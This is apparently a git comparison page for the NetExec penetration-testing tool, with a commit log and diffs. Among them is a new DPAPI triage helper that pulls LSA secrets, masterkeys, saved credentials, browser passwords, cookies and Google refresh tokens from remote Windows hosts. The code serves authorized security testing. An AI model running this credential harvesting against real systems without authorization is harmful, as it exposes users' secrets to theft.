Aurélien CHALOT 50d9103181 Patch futur reviews from Azox 2026-06-02 11:22:34 +02:00
Aurélien CHALOT 7fed03bd6a Patch futur reviews from Azox 2026-06-02 11:20:32 +02:00
Aurélien CHALOT 2c5abef853 Patch futur reviews from Azox 2026-06-02 11:19:42 +02:00
Aurélien CHALOT b96c7899ee Patch futur reviews from Azox 2026-06-02 11:16:56 +02:00
Aurélien CHALOT 7cad502a16 Add --backups 2026-06-01 17:58:09 +02:00
Aurélien CHALOT 3c7497e728 Factorise SQL request 2026-06-01 17:45:04 +02:00
Aurélien CHALOT 412b97af50 Add e2e test commands 2026-06-01 17:42:22 +02:00
Aurélien CHALOT e7304d9ec9 Add local database hash dump --db-hash 2026-06-01 17:39:07 +02:00
Fabrizzio53 f3a90d9aca Refactor tombstone
refactored the code to return empty sAMAccountName when object does not have this attribute.

removed some variables that were not being used, such as opsec, multiple_host and self.__domain.

removed internal domain to dn function to now use connection.baseDN.

the number of deleted objects should be right now, temporary var is created and incremented for each deleted object found.

Signed-off-by: Fabrizzio53 <[email protected]>
2026-05-26 19:27:43 -03:00
Marshall Hallenbeck dfec064063 Merge branch 'main' into feat/smb-get-folder 2026-05-23 19:55:34 -04:00
Marshall Hallenbeck e84ca2d510 fix(smb): fix slashes and silent folder download bugs 2026-05-23 19:53:40 -04:00
Marshall Hallenbeck 9c4ad7fc39 fix(smb): recursively download folders by default 2026-05-23 19:49:51 -04:00
TristanInSec d21ee2d6b1 Merge remote-tracking branch 'upstream/main' into fix/sanitize-ntlm-hostname 2026-05-23 15:54:05 -04:00
TristanInSec ccf36b492e Use display() for sanitization notice so it shows at default verbosity 2026-05-23 15:52:44 -04:00
TristanInSec 9c293a8eb9 Warn when NTLM hostname is sanitized
Log a warning showing the original and sanitized hostname so users
are alerted to potential non-compliant implementations or rogue servers.
2026-05-18 14:42:53 -04:00
TristanInSec 68abd128e6 Sanitize NTLM hostname to prevent path traversal and DoS
Strip non-alphanumeric characters (except hyphens and dots) from
server-provided NTLM hostname before use in file paths or content.

Prevents:
- Path traversal via ../ in hostname (file creation outside ~/.nxc/logs/)
- DoS via null byte (ValueError crash in open())
- DoS via { characters (KeyError crash in str.format())
- Newline injection in --generate-hosts-file output
- Affects: SMB, RDP, VNC, WinRM, MSSQL credential dump and screenshot paths
2026-05-16 16:17:22 -04:00
Marshall Hallenbeck 636491ddde Merge branch 'main' into feat/smb-get-folder 2026-05-12 14:06:06 -04:00
Marshall Hallenbeck 8759444f1b Merge branch 'main' into feat/smb-get-folder 2026-05-06 16:19:27 -04:00
Fabrizzio53 adfd529593 Removed a typo " in the first example
Removed a typo " in the first example

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-30 08:49:14 -03:00
Marshall Hallenbeck cd6d5b2ee5 fix(smb): properly reference arg via dot notation 2026-04-28 18:51:23 -04:00
Marshall Hallenbeck 598afaa79a tests(get_folder): add e2e test line 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck 5932bce690 fix(smb): add path sanitization helper and apply to download_folder 2026-04-27 12:23:46 -04:00
Marshall Hallenbeck b020b24441 feat(smb): add --get-folder command for downloading remote directories
Add download_file(), download_folder(), and get_folder() methods to the
SMB protocol. Refactor get_file_single() to use download_file() with
automatic fallback from READ to READ/WRITE access on sharing violations.

New CLI args: --get-folder, --recursive, --ignore-empty-folders

Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive
2026-04-27 12:23:46 -04:00
Fabrizzio53 a8a94671ea fixed issues pointed on the PR
removed imports that were not being used, remove None returns, put the options at the start of the script and improved on indentation

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-22 18:37:29 -03:00
Fabrizzio53 fea06fe912 fixed ruff checks
fixed ruff checks

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:28:08 -03:00
Fabrizzio53 6512a9801e Removed LDAP3 connection, removed old imports, removed SSL action
Removed the LDAP3 connection and now use impacket with the new CRUD method from the latest merged PR, removed the SSL option since now the first connection is handled by netexec and not ldap3

Signed-off-by: Fabrizzio53 <[email protected]>
2026-04-15 19:12:18 -03:00
Fabrizzio53 a29c162d33 Merge branch 'Pennyw0rth:main' into main 2026-04-15 19:10:24 -03:00
Aurélien CHALOT f83b10a3af small fix 2026-04-15 11:20:46 +02:00
Aurélien CHALOT 2250d2b1f3 Add exclusion options 2026-04-15 11:15:57 +02:00
serwiz 83be3161ec Did ruff check and all passed now. 2026-02-07 15:12:40 +01:00
serwiz 80d38c1013 Change final display. More readable. 2026-02-07 14:42:18 +01:00
serwiz 84b4831dba Enhanced: can support mutiple SeMachineAccountPrivilege with detailed display 2026-02-07 14:31:50 +01:00
serwiz df1db9595d Correcting stacktrace error due to invalid sids tab initialisation. 2026-02-04 22:25:20 +01:00
serwiz d0fced5bef Correcting cross domain check to access the correct GPO PATH and add some debug output 2026-02-01 14:34:25 +01:00
WSE 0e08d74e87 Added SID translation for more understanding 2026-01-24 23:11:25 +01:00
GHWX8660 8f6d2afec1 Added SeMachineAccountPrivilige check to MAQ module. Need to implement SID translation. 2026-01-23 00:38:33 +01:00
Alex 03c2821c11 Merge branch 'main' into main 2025-11-19 12:05:22 +01:00
Fabrizzio53 664055c7c3 Update e2e_commands.txt
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:17:12 -03:00
Fabrizzio53 ac55e28fee update tombstone.py to fix when ntlm is disabled
When netexec impacket gets merged with the most up to date version from fortra this fix will work when a domain disabled ntlm

Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 74c2cd0c89 Renamed gravedigger.py to tombstone.py and changed the name at the script
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
Fabrizzio53 5b1cacf566 Create gravedigger.py
Signed-off-by: Fabrizzio53 <[email protected]>
2025-07-13 20:16:14 -03:00
119 changed files with 5886 additions and 3113 deletions

No files matched your search

+10 -3
View File
@@ -2,10 +2,16 @@
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
### AI Assistance
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
Note that if you have used AI, you:
- MUST test the changes against a live system
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
Insert an "x" inside the brackets for relevant items
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
+2
View File
@@ -64,3 +64,5 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
+7
View File
@@ -12,6 +12,12 @@
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
@@ -36,6 +42,7 @@
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
ruff check .
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
+13 -2
View File
@@ -32,11 +32,12 @@ a = Analysis(
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'impacket.krb5.kpasswd',
'nxc.connection',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
@@ -48,9 +49,12 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'paramiko',
'pefile',
'pypsrp.client',
@@ -84,9 +88,16 @@ a = Analysis(
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+2
View File
@@ -32,6 +32,8 @@ def gen_cli_args():
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
+6
View File
@@ -39,6 +39,12 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
+21 -44
View File
@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
@@ -100,37 +96,6 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
@@ -144,9 +109,11 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
@@ -154,6 +121,7 @@ class connection:
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -175,12 +143,14 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
@@ -242,20 +212,20 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.enum_host_info()
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
@@ -557,22 +527,29 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
if self.certificate_auth:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self, domain[0], username[0])
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
+2
View File
@@ -8,6 +8,8 @@ log_mode = False
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
